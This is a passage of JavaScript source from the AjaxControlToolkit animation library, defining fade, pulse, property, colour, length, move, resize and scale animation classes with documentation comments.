    /// background color (the latter is required in case the user has ClearType enabled). The default value is <code>true</code>.
    /// This is obviously ignored when working in other browsers.
    /// </param>
    /// <animation>FadeIn</animation>
    $AA.FadeInAnimation.initializeBase(this, [target, duration, fps, $AA.FadeEffect.FadeIn, minimumOpacity, maximumOpacity, forceLayoutInIE]);
}
$AA.FadeInAnimation.prototype = {
    onStart : function() {
    	/// <summary>
        /// The <code>onStart</code> method is called just before the animation is played each time.
        /// </summary>
        /// <returns />
        $AA.FadeInAnimation.callBaseMethod(this, 'onStart');
        
        if (this._currentTarget) {
            this.set_startValue($common.getElementOpacity(this._currentTarget));
        }
    }
}
$AA.FadeInAnimation.registerClass('AjaxControlToolkit.Animation.FadeInAnimation', $AA.FadeAnimation);
$AA.registerAnimation('fadeIn', $AA.FadeInAnimation);


$AA.FadeOutAnimation = function(target, duration, fps, minimumOpacity, maximumOpacity, forceLayoutInIE) {
    /// <summary>
    /// The FadeInAnimation will fade the element out by moving from visible to hidden. It starts the animation
    /// at the element's current opacity.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="minimumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Minimum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 0.
    /// </param>
    /// <param name="maximumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Maximum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 1.
    /// </param>
    /// <param name="forceLayoutInIE" type="Boolean" mayBeNull="true" optional="true">
    /// Whether or not we should force a layout to be created for Internet Explorer by giving it a width and setting its
    /// background color (the latter is required in case the user has ClearType enabled). The default value is <code>true</code>.
    /// This is obviously ignored when working in other browsers.
    /// </param>
    /// <animation>FadeOut</animation>
    $AA.FadeOutAnimation.initializeBase(this, [target, duration, fps, $AA.FadeEffect.FadeOut, minimumOpacity, maximumOpacity, forceLayoutInIE]);
}
$AA.FadeOutAnimation.prototype = {
    onStart : function() {
    	/// <summary>
        /// The <code>onStart</code> method is called just before the animation is played each time.
        /// </summary>
        /// <returns />
        $AA.FadeOutAnimation.callBaseMethod(this, 'onStart');

        if (this._currentTarget) {
            this.set_startValue($common.getElementOpacity(this._currentTarget));
        }
    }
}
$AA.FadeOutAnimation.registerClass('AjaxControlToolkit.Animation.FadeOutAnimation', $AA.FadeAnimation);
$AA.registerAnimation('fadeOut', $AA.FadeOutAnimation);


$AA.PulseAnimation = function(target, duration, fps, iterations, minimumOpacity, maximumOpacity, forceLayoutInIE) {
    /// <summary>
    /// The PulseAnimation fades an element in and our repeatedly to create a pulsating
    /// effect.  The iterations determines how many pulses there will be (which defaults
    /// to three, but it will repeat infinitely if given zero or less).  The duration
    /// property defines the duration of each fade in or fade out, not the duration of
    /// the animation as a whole.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="iterations" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of times to repeatedly play the sequence.  If zero or less iterations are specified, the sequence
    /// will repeat forever.  The default value is 1 iteration.
    /// </param>
    /// <param name="minimumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Minimum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 0.
    /// </param>
    /// <param name="maximumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Maximum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 1.
    /// </param>
    /// <param name="forceLayoutInIE" type="Boolean" mayBeNull="true" optional="true">
    /// Whether or not we should force a layout to be created for Internet Explorer by giving it a width and setting its
    /// background color (the latter is required in case the user has ClearType enabled). The default value is <code>true</code>.
    /// This is obviously ignored when working in other browsers.
    /// </param>
    /// <animation>Pulse</animation>
    $AA.PulseAnimation.initializeBase(this, [target, duration, fps, null, ((iterations !== undefined) ? iterations : 3)]);

    // Create the FadeOutAnimation
    this._out = new $AA.FadeOutAnimation(target, duration, fps, minimumOpacity, maximumOpacity, forceLayoutInIE);
    this.add(this._out);
    
    // Create the FadeInAnimation
    this._in = new $AA.FadeInAnimation(target, duration, fps, minimumOpacity, maximumOpacity, forceLayoutInIE);
    this.add(this._in);
}
$AA.PulseAnimation.prototype = {
   
    get_minimumOpacity : function() {
        /// <value type="Number">
        /// Minimum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 0.
        /// </value>
        return this._out.get_minimumOpacity();
    },
    set_minimumOpacity : function(value) {
        value = this._getFloat(value);
        this._out.set_minimumOpacity(value);
        this._in.set_minimumOpacity(value);
        this.raisePropertyChanged('minimumOpacity');
    },
    
    get_maximumOpacity : function() {
        /// <value type="Number">
        /// Maximum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 1.
        /// </value>
        return this._out.get_maximumOpacity();
    },
    set_maximumOpacity : function(value) {
        value = this._getFloat(value);
        this._out.set_maximumOpacity(value);
        this._in.set_maximumOpacity(value);
        this.raisePropertyChanged('maximumOpacity');
    },
    
    get_forceLayoutInIE : function() {
        /// <value type="Boolean">
        /// Whether or not we should force a layout to be created for Internet Explorer by giving it a width and setting its
        /// background color (the latter is required in case the user has ClearType enabled). The default value is <code>true</code>.
        /// This is obviously ignored when working in other browsers.
        /// </value>
        return this._out.get_forceLayoutInIE();
    },
    set_forceLayoutInIE : function(value) {
        value = this._getBoolean(value);
        this._out.set_forceLayoutInIE(value);
        this._in.set_forceLayoutInIE(value);
        this.raisePropertyChanged('forceLayoutInIE');
    },
    
    set_duration : function(value) {
        /// <value type="Number">
        /// Override the <code>duration</code> property
        /// </value>
        value = this._getFloat(value);
        $AA.PulseAnimation.callBaseMethod(this, 'set_duration', [value]);
        this._in.set_duration(value);
        this._out.set_duration(value);
    },
    
    set_fps : function(value) {
        /// <value type="Number" integer="true">
        /// Override the <code>fps</code> property
        /// </value>
        value = this._getInteger(value);
        $AA.PulseAnimation.callBaseMethod(this, 'set_fps', [value]);
        this._in.set_fps(value);
        this._out.set_fps(value);
    }
    
}
$AA.PulseAnimation.registerClass('AjaxControlToolkit.Animation.PulseAnimation', $AA.SequenceAnimation);
$AA.registerAnimation('pulse', $AA.PulseAnimation);


$AA.PropertyAnimation = function(target, duration, fps, property, propertyKey) {
    /// <summary>
    /// The <code>PropertyAnimation</code> is a useful base animation that will assign the value from
    /// <code>getAnimatedValue</code> to a specified <code>property</code>. You can provide the name of
    /// a <code>property</code> alongside an optional <code>propertyKey</code> (which indicates the value
    /// <code>property[propertyKey]</code>, like <code>style['backgroundColor']</code>).
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="property" type="String" mayBeNull="true" optional="true">
    /// Property of the <code>target</code> element to set when animating
    /// </param>
    /// <param name="propertyKey" type="String" mayBeNull="true" optional="true">
    /// Optional key of the property to be set (which indicates the value property[propertyKey], like style['backgroundColor']). Note that for the style property, the key must be in a JavaScript friendly format (i.e. backgroundColor instead of background-color).
    /// </param>
    /// <animation>Property</animation>
    $AA.PropertyAnimation.initializeBase(this, [target, duration, fps]);

    // Name of the property to set
    this._property = property;
    
    // Optional Key of the property to set (i.e., if the property were "style" then
    // this might be "backgroundColor")
    this._propertyKey = propertyKey;
    
    // Current target of the animation that is cached before the animation plays (since looking up
    // the target could mean walking all the way up to the root of the animation's tree, which we don't
    // want to do for every step of the animation)
    this._currentTarget = null;
}
$AA.PropertyAnimation.prototype = {
    onStart : function() {
    	/// <summary>
        /// The <code>onStart</code> method is called just before the animation is played each time.
        /// </summary>
        /// <returns />
        $AA.PropertyAnimation.callBaseMethod(this, 'onStart');

        this._currentTarget = this.get_target();
    },

    setValue : function(value) {
        /// <summary>
        /// Set the current value of the property
        /// </summary>
        /// <param name="value" type="Object" mayBeNull="true">
        /// Value to assign
        /// </param>
        /// <returns />

        var element = this._currentTarget;
        if (element && this._property && this._property.length > 0) { 
            if (this._propertyKey && this._propertyKey.length > 0 && element[this._property]) {
                element[this._property][this._propertyKey] = value;
            } else {
                element[this._property] = value;
            }
        }
        // Sys.TypeDescriptor.setProperty(this.get_target(), this._property, value, this._propertyKey);
    },
    
    getValue : function() {
        /// <summary>
        /// Get the current value from the property
        /// </summary>
        /// <returns type="Object" mayBeNull="true">
        /// Current value of the property
        /// </returns>

        var element = this.get_target();
        if (element && this._property && this._property.length > 0) { 
            var property = element[this._property];
            if (property) {
                if (this._propertyKey && this._propertyKey.length > 0) {
                    return property[this._propertyKey];
                }
                return property;
            }
        }
        return null;
        // return Sys.TypeDescriptor.getProperty(this.get_target(), this._property, this._propertyKey);
    },
    
    get_property : function() {
        /// <value type="String">
        /// Property of the <code>target</code> element to set when animating
        /// </value>
        return this._property;
    },
    set_property : function(value) {
        if (this._property != value) {
            this._property = value;
            this.raisePropertyChanged('property');
        }
    },
    
    get_propertyKey : function() {
        /// <value type="String" mayBeNull="true" optional="true">
        /// Optional key of the property to be set (which indicates the value property[propertyKey], like style['backgroundColor']). Note that for the style property, the key must be in a JavaScript friendly format (i.e. backgroundColor instead of background-color).
        /// </value>
        return this._propertyKey;
    },
    set_propertyKey : function(value) {
        if (this._propertyKey != value) {
            this._propertyKey = value;
            this.raisePropertyChanged('propertyKey');
        }
    }
}
$AA.PropertyAnimation.registerClass('AjaxControlToolkit.Animation.PropertyAnimation', $AA.Animation);
$AA.registerAnimation('property', $AA.PropertyAnimation);


$AA.DiscreteAnimation = function(target, duration, fps, property, propertyKey, values) {
    /// <summary>
    /// The <code>DiscreteAnimation</code> inherits from <see cref="AjaxControlToolkit.Animation.PropertyAnimation" />
    /// and sets the value of the <code>property</code> to the elements in a provided array of <code>values</code>.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="property" type="String" mayBeNull="true" optional="true">
    /// Property of the <code>target</code> element to set when animating
    /// </param>
    /// <param name="propertyKey" type="String" mayBeNull="true" optional="true">
    /// Optional key of the property to be set (which indicates the value property[propertyKey], like style['backgroundColor']). Note that for the style property, the key must be in a JavaScript friendly format (i.e. backgroundColor instead of background-color).
    /// </param>
    /// <param name="values" mayBeNull="true" optional="true" parameterArray="true" elementType="Object">
    /// Array of possible values of the property that will be iterated over as the animation is played
    /// </param>
    /// <animation>Discrete</animation>
    $AA.DiscreteAnimation.initializeBase(this, [target, duration, fps, property, propertyKey]);

    // Values to assign to the property
    this._values = (values && values.length) ? values : [];
}
$AA.DiscreteAnimation.prototype = {
    getAnimatedValue : function(percentage) {
        /// <summary>
        /// Assign the value whose index corresponds to the current percentage
        /// </summary>
        /// <param name="percentage" type="Number">
        /// Percentage of the animation already complete
        /// </param>
        /// <returns type="Object">
        /// State of the animation after the given percentage of its duration has elapsed that will
        /// be passed to <code>setValue</code>
        /// </returns>
        var index = Math.floor(this.interpolate(0, this._values.length - 1, percentage));
        return this._values[index];
    },
    
    get_values : function() {
        /// <value parameterArray="true" elementType="Object">
        /// Array of possible values of the property that will be iterated over as the animation is played
        /// </value>
        return this._values;
    },
    set_values : function(value) {
        if (this._values != value) {
            this._values = value;
            this.raisePropertyChanged('values');
        }
    }
}
$AA.DiscreteAnimation.registerClass('AjaxControlToolkit.Animation.DiscreteAnimation', $AA.PropertyAnimation);
$AA.registerAnimation('discrete', $AA.DiscreteAnimation);


$AA.InterpolatedAnimation = function(target, duration, fps, property, propertyKey, startValue, endValue) {
    /// <summary>
    /// The <code>InterpolatedAnimation</code> assigns a range of values between <code>startValue</code>
    /// and <code>endValue</code> to the designated property.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="property" type="String" mayBeNull="true" optional="true">
    /// Property of the <code>target</code> element to set when animating.  The default value is 'style'.
    /// </param>
    /// <param name="propertyKey" type="String" mayBeNull="true" optional="true">
    /// Optional key of the property to be set (which indicates the value property[propertyKey], like style['backgroundColor']). Note that for the style property, the key must be in a JavaScript friendly format (i.e. backgroundColor instead of background-color).
    /// </param>
    /// <param name="startValue" type="Number" mayBeNull="true" optional="true">
    /// Start of the range of values
    /// </param>
    /// <param name="endValue" type="Number" mayBeNull="true" optional="true">
    /// End of the range of values
    /// </param>
    /// <animation>Interpolated</animation>
    $AA.InterpolatedAnimation.initializeBase(this, [target, duration, fps, ((property !== undefined) ? property : 'style'), propertyKey]);

    // Start and end values
    this._startValue = startValue;
    this._endValue = endValue;
}
$AA.InterpolatedAnimation.prototype = {
    get_startValue : function() {
        /// <value type="Number">
        /// Start of the range of values
        /// </value>
        return this._startValue;
    },
    set_startValue : function(value) {
        value = this._getFloat(value);
        if (this._startValue != value) {
            this._startValue = value;
            this.raisePropertyChanged('startValue');
        }
    },
    
    get_endValue : function() {
        /// <value type="Number">
        /// End of the range of values
        /// </value>
        return this._endValue;
    },
    set_endValue : function(value) {
        value = this._getFloat(value);
        if (this._endValue != value) {
            this._endValue = value;
            this.raisePropertyChanged('endValue');
        }
    }   
}
$AA.InterpolatedAnimation.registerClass('AjaxControlToolkit.Animation.InterpolatedAnimation', $AA.PropertyAnimation);
$AA.registerAnimation('interpolated', $AA.InterpolatedAnimation);


$AA.ColorAnimation = function(target, duration, fps, property, propertyKey, startValue, endValue) {
    /// <summary>
    /// The <code>ColorAnimation</code> transitions the value of the <code>property</code> between
    /// two colors (although it does ignore the alpha channel). The colors must be 7-character hex strings
    /// (like <code>#246ACF</code>).
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="property" type="String" mayBeNull="true" optional="true">
    /// Property of the <code>target</code> element to set when animating.  The default value is 'style'.
    /// </param>
    /// <param name="propertyKey" type="String" mayBeNull="true" optional="true">
    /// Optional key of the property to be set (which indicates the value property[propertyKey], like style['backgroundColor']). Note that for the style property, the key must be in a JavaScript friendly format (i.e. backgroundColor instead of background-color).
    /// </param>
    /// <param name="startValue" type="String" mayBeNull="true" optional="true">
    /// Start of the range of colors
    /// </param>
    /// <param name="endValue" type="String" mayBeNull="true" optional="true">
    /// End of the range of colors
    /// </param>
    /// <animation>Color</animation>
    $AA.ColorAnimation.initializeBase(this, [target, duration, fps, property, propertyKey, startValue, endValue]);
    
    // Cached start/end RBG triplets
    this._start = null;
    this._end = null;
    
    // Flags indicating whether each dimension of color will be interpolated
    this._interpolateRed = false;
    this._interpolateGreen = false;
    this._interpolateBlue = false;
}
$AA.ColorAnimation.prototype = {
    onStart : function() {
        /// <summary>
        /// Determine which dimensions of color will be animated
        /// </summary>
        /// <returns />
        $AA.ColorAnimation.callBaseMethod(this, 'onStart');
       
        this._start = $AA.ColorAnimation.getRGB(this.get_startValue());
        this._end = $AA.ColorAnimation.getRGB(this.get_endValue());
        
        this._interpolateRed = (this._start.Red != this._end.Red);
        this._interpolateGreen = (this._start.Green != this._end.Green);
        this._interpolateBlue = (this._start.Blue != this._end.Blue);
    },
    
    getAnimatedValue : function(percentage) {
        /// <summary>
        /// Get the interpolated color values
        /// </summary>
        /// <param name="percentage" type="Number">
        /// Percentage of the animation already complete
        /// </param>
        /// <returns type="String">
        /// Current color formatted as a 7-character hex string (like <code>#246ACF</code>).
        /// </returns>

        var r = this._start.Red;
        var g = this._start.Green;
        var b = this._start.Blue;
        
        if (this._interpolateRed)
            r = Math.round(this.interpolate(r, this._end.Red, percentage));
        
        if (this._interpolateGreen)
            g = Math.round(this.interpolate(g, this._end.Green, percentage));
        
        if (this._interpolateBlue)
            b = Math.round(this.interpolate(b, this._end.Blue, percentage));
        
        return $AA.ColorAnimation.toColor(r, g, b);
    },
    
    set_startValue : function(value) {
        /// <value type="String">
        /// Starting color of the transition formatted as a 7-character hex string (like <code>#246ACF</code>).
        /// </value>

        if (this._startValue != value) {
            this._startValue = value;
            this.raisePropertyChanged('startValue');
        }
    },
    
    set_endValue : function(value) {
        /// <value type="String">
        /// Ending color of the transition formatted as a 7-character hex string (like <code>#246ACF</code>).
        /// </value>

        if (this._endValue != value) {
            this._endValue = value;
            this.raisePropertyChanged('endValue');
        }
    }   
}
$AA.ColorAnimation.getRGB = function(color) {
    /// <summary>
    /// Convert the color to an RGB triplet
    /// </summary>
    /// <param name="color" type="String">
    /// Color formatted as a 7-character hex string (like <code>#246ACF</code>)
    /// </param>
    /// <returns type="Object">
    /// Object representing the color with <code>Red</code>, <code>Green</code>, and <code>Blue</code> properties.
    /// </returns>

    if (!color || color.length != 7) {
        throw String.format(AjaxControlToolkit.Resources.Animation_InvalidColor, color);
    }
    return { 'Red': parseInt(color.substr(1,2), 16),
             'Green': parseInt(color.substr(3,2), 16),
             'Blue': parseInt(color.substr(5,2), 16) };
}
$AA.ColorAnimation.toColor = function(red, green, blue) {
    /// <summary>
    /// Convert an RBG triplet into a 7-character hex string (like <code>#246ACF</code>)
    /// </summary>
    /// <param name="red" type="Number" integer="true">
    /// Value of the color's red dimension
    /// </param>
    /// <param name="green" type="Number" integer="true">
    /// Value of the color's green dimension
    /// </param>
    /// <param name="blue" type="Number" integer="true">
    /// Value of the color's blue dimension
    /// </param>
    /// <returns type="String">
    /// Color as a 7-character hex string (like <code>#246ACF</code>)
    /// </returns>

    var r = red.toString(16);
    var g = green.toString(16);
    var b = blue.toString(16);
    if (r.length == 1) r = '0' + r;
    if (g.length == 1) g = '0' + g;
    if (b.length == 1) b = '0' + b;
    return '#' + r + g + b;
}
$AA.ColorAnimation.registerClass('AjaxControlToolkit.Animation.ColorAnimation', $AA.InterpolatedAnimation);
$AA.registerAnimation('color', $AA.ColorAnimation);


$AA.LengthAnimation = function(target, duration, fps, property, propertyKey, startValue, endValue, unit) {
    /// <summary>
    /// The <code>LengthAnimation</code> is identical to <see cref="AjaxControlToolkit.Animation.InterpolatedAnimation" />
    /// except it adds a <code>unit</code> to the value before assigning it to the <code>property</code>.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="property" type="String" mayBeNull="true" optional="true">
    /// Property of the <code>target</code> element to set when animating.  The default value is 'style'.
    /// </param>
    /// <param name="propertyKey" type="String" mayBeNull="true" optional="true">
    /// Optional key of the property to be set (which indicates the value property[propertyKey], like style['backgroundColor']). Note that for the style property, the key must be in a JavaScript friendly format (i.e. backgroundColor instead of background-color).
    /// </param>
    /// <param name="startValue" type="Number" mayBeNull="true" optional="true">
    /// Start of the range of values
    /// </param>
    /// <param name="endValue" type="Number" mayBeNull="true" optional="true">
    /// End of the range of values
    /// </param>
    /// <param name="unit" type="String" mayBeNull="true" optional="true">
    /// Unit of the interpolated values.  The default value is <code>'px'</code>.
    /// </param>
    /// <animation>Length</animation>
    $AA.LengthAnimation.initializeBase(this, [target, duration, fps, property, propertyKey, startValue, endValue]);
    
    // Unit of length (which defaults to px)
    this._unit = (unit != null) ? unit : 'px';
}
$AA.LengthAnimation.prototype = {

    getAnimatedValue : function(percentage) {
        /// <summary>
        /// Get the interpolated length value
        /// </summary>
        /// <param name="percentage" type="Number">
        /// Percentage of the animation already complete
        /// </param>
        /// <returns type="String">
        /// Interpolated length
        /// </returns>

        var value = this.interpolate(this.get_startValue(), this.get_endValue(), percentage);
        return Math.round(value) + this._unit;
    },
    
    get_unit : function() {
        /// <value type="String">
        /// Unit of the interpolated values.  The default value is <code>'px'</code>.
        /// </value>
        return this._unit;
    },
    set_unit : function(value) {
        if (this._unit != value) {
            this._unit = value;
            this.raisePropertyChanged('unit');
        }
    }
}
$AA.LengthAnimation.registerClass('AjaxControlToolkit.Animation.LengthAnimation', $AA.InterpolatedAnimation);
$AA.registerAnimation('length', $AA.LengthAnimation);


$AA.MoveAnimation = function(target, duration, fps, horizontal, vertical, relative, unit) {
    /// <summary>
    /// The <code>MoveAnimation</code> is used to move the <code>target</code> element. If the
    /// <code>relative</code> flag is set to <code>true</code>, then it treats the <code>horizontal</code>
    /// and <code>vertical</code> properties as offsets to move the element. If the <code>relative</code>
    /// flag is <code>false</code>, then it will treat the <code>horizontal</code> and <code>vertical</code>
    /// properties as coordinates on the page where the <code>target</code> element should be moved. It is
    /// important to note that the <code>target</code> must be positioned (i.e. <code>absolutely</code>) so
    /// that settings its <code>top</code>/<code>left<code> style attributes will change its location.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="horizontal" type="Number" mayBeNull="true" optional="true">
    /// If <code>relative</code>  is <code>true</code>, this is the offset to move horizontally. Otherwise this is the x
    /// coordinate on the page where the <code>target</code> should be moved.
    /// </param>
    /// <param name="vertical" type="Number" mayBeNull="true" optional="true">
    /// If <code>relative</code> is <code>true</code>, this is the offset to move vertically. Otherwise this is the y
    /// coordinate on the page where the <code>target</code> should be moved.
    /// </param>
    /// <param name="relative" type="Boolean" mayBeNull="true" optional="true">
    /// <code>true</code> if we are moving relative to the current position, <code>false</code> if we are moving absolutely
    /// </param>
    /// <param name="unit" type="String" mayBeNull="true" optional="true">
    /// Length unit for the size of the <code>target</code>. The default value is <code>'px'</code>.
    /// </param>
    /// <animation>Move</animation>
    $AA.MoveAnimation.initializeBase(this, [target, duration, fps, null]);

    // Distance to move horizontally and vertically
    this._horizontal = horizontal ? horizontal : 0;
    this._vertical = vertical ? vertical : 0;
    this._relative = (relative === undefined) ? true : relative;
    
    // Length animations representing the movememnts
    this._horizontalAnimation = new $AA.LengthAnimation(target, duration, fps, 'style', 'left', null, null, unit);
    this._verticalAnimation = new $AA.LengthAnimation(target, duration, fps, 'style', 'top', null, null, unit);
    this.add(this._verticalAnimation);
    this.add(this._horizontalAnimation);
}
$AA.MoveAnimation.prototype = {
    
    onStart : function() {
        /// <summary>
        /// Use the <code>target</code>'s current position as the starting point for the animation
        /// </summary>
        /// <returns />
        $AA.MoveAnimation.callBaseMethod(this, 'onStart');
        
        // Set the start and end values of the animations by getting
        // the element's current position and applying the offsets
        var element = this.get_target();
        this._horizontalAnimation.set_startValue(element.offsetLeft);
        this._horizontalAnimation.set_endValue(this._relative ? element.offsetLeft + this._horizontal : this._horizontal);
        this._verticalAnimation.set_startValue(element.offsetTop); 
        this._verticalAnimation.set_endValue(this._relative ? element.offsetTop + this._vertical : this._vertical);
    },
    
    get_horizontal : function() {
        /// <value type="Number">
        /// If <code>relative</code>  is <code>true</code>, this is the offset to move horizontally. Otherwise this is the x
        /// coordinate on the page where the <code>target</code> should be moved.
        /// </value>
        return this._horizontal;
    },
    set_horizontal : function(value) {
        value = this._getFloat(value);
        if (this._horizontal != value) {
            this._horizontal = value;
            this.raisePropertyChanged('horizontal');
        }
    },
    
    get_vertical : function() {
        /// <value type="Number">
        /// If <code>relative</code> is <code>true</code>, this is the offset to move vertically. Otherwise this is the y
        /// coordinate on the page where the <code>target</code> should be moved.
        /// </value>
        return this._vertical;
    },
    set_vertical : function(value) {
        value = this._getFloat(value);
        if (this._vertical != value) {
            this._vertical = value;
            this.raisePropertyChanged('vertical');
        }
    },
    
    get_relative : function() {
        /// <value type="Boolean">
        /// <code>true</code> if we are moving relative to the current position, <code>false</code> if we are moving absolutely
        /// </value>
        return this._relative;
    },
    set_relative : function(value) {
        value = this._getBoolean(value);
        if (this._relative != value) {
            this._relative = value;
            this.raisePropertyChanged('relative');
        }
    },
    
    get_unit : function() {
        /// <value type="String" mayBeNull="true">
        /// Length unit for the size of the <code>target</code>. The default value is <code>'px'</code>.
        /// </value>
        this._horizontalAnimation.get_unit();
    },
    set_unit : function(value) {
        var unit = this._horizontalAnimation.get_unit();
        if (unit != value) {
            this._horizontalAnimation.set_unit(value);
            this._verticalAnimation.set_unit(value);
            this.raisePropertyChanged('unit');
        }
    }
}
$AA.MoveAnimation.registerClass('AjaxControlToolkit.Animation.MoveAnimation', $AA.ParallelAnimation);
$AA.registerAnimation('move', $AA.MoveAnimation);


$AA.ResizeAnimation = function(target, duration, fps, width, height, unit) {
    /// <summary>
    /// The <code>ResizeAnimation</code> changes the size of the <code>target</code> from its
    /// current value to the specified <code>width</code> and <code>height</code>.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="width" type="Number" mayBeNull="true" optional="true">
    /// New width of the <code>target</code>
    /// </param>
    /// <param name="height" type="Number" mayBeNull="true" optional="true">
    /// New height of the <code>target</code>
    /// </param>
    /// <param name="unit" type="String" mayBeNull="true" optional="true">
    /// Length unit for the size of the <code>target</code>. The default value is <code>'px'</code>.
    /// </param>
    /// <animation>Resize</animation>
    $AA.ResizeAnimation.initializeBase(this, [target, duration, fps, null]);

    // New size of the element
    this._width = width;
    this._height = height;
    
    // Animations to set the size across both dimensions
    this._horizontalAnimation = new $AA.LengthAnimation(target, duration, fps, 'style', 'width', null, null, unit);
    this._verticalAnimation = new $AA.LengthAnimation(target, duration, fps, 'style', 'height', null, null, unit);
    this.add(this._horizontalAnimation);
    this.add(this._verticalAnimation);
}
$AA.ResizeAnimation.prototype = {
    
    onStart : function() {
        /// <summary>
        /// Use the <code>target</code>'s current size as the starting point for the animation
        /// </summary>
        /// <returns />

        $AA.ResizeAnimation.callBaseMethod(this, 'onStart');
        
        // Set the start and end values of the animations by getting
        // the element's current width and height
        var element = this.get_target();
        this._horizontalAnimation.set_startValue(element.offsetWidth);
        this._verticalAnimation.set_startValue(element.offsetHeight);
        this._horizontalAnimation.set_endValue((this._width !== null && this._width !== undefined) ?
            this._width : element.offsetWidth);
        this._verticalAnimation.set_endValue((this._height !== null && this._height !== undefined) ?
            this._height : element.offsetHeight);
    },
    
    get_width : function() {
        /// <value type="Number">
        /// New width of the <code>target</code>
        /// </value>

        return this._width;
    },
    set_width : function(value) {
        value = this._getFloat(value);
        if (this._width != value) {
            this._width = value;
            this.raisePropertyChanged('width');
        }
    },
    
    get_height : function() {
        /// <value type="Number">
        /// New height of the <code>target</code>
        /// </value>

        return this._height;
    },
    set_height : function(value) {
        value = this._getFloat(value);
        if (this._height != value) {
            this._height = value;   
            this.raisePropertyChanged('height');
        }
    },
    
    get_unit : function() {
        /// <value type="String">
        /// Length unit for the size of the <code>target</code>. The default value is <code>'px'</code>.
        /// </value>

        this._horizontalAnimation.get_unit();
    },
    set_unit : function(value) {
        var unit = this._horizontalAnimation.get_unit();
        if (unit != value) {
            this._horizontalAnimation.set_unit(value);
            this._verticalAnimation.set_unit(value);
            this.raisePropertyChanged('unit');
        }
    }
}
$AA.ResizeAnimation.registerClass('AjaxControlToolkit.Animation.ResizeAnimation', $AA.ParallelAnimation);
$AA.registerAnimation('resize', $AA.ResizeAnimation);









$AA.ScaleAnimation = function(target, duration, fps, scaleFactor, unit, center, scaleFont, fontUnit) {
    /// <summary>
    /// The <code>ScaleAnimation</code> scales the size of the <code>target</code> element by the given <code>scaleFactor</code>
    /// (i.e. a <code>scaleFactor</code> of <code>.5</code> will shrink it in half and a <code>scaleFactor</code> of <code>2.0</code>
    /// will double it).  If <code>scaleFont</code> is <code>true</code>, the size of the font will also scale with the element.  If
    /// <code>center</code> is <code>true</code>, then the element's center will not move as it is scaled.  It is important to note that
    /// the target must be positioned (i.e. absolutely) so that setting its <code>top</code>/<code>left</code> properties will change
    /// its location in order for <code>center</code> to have an effect.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
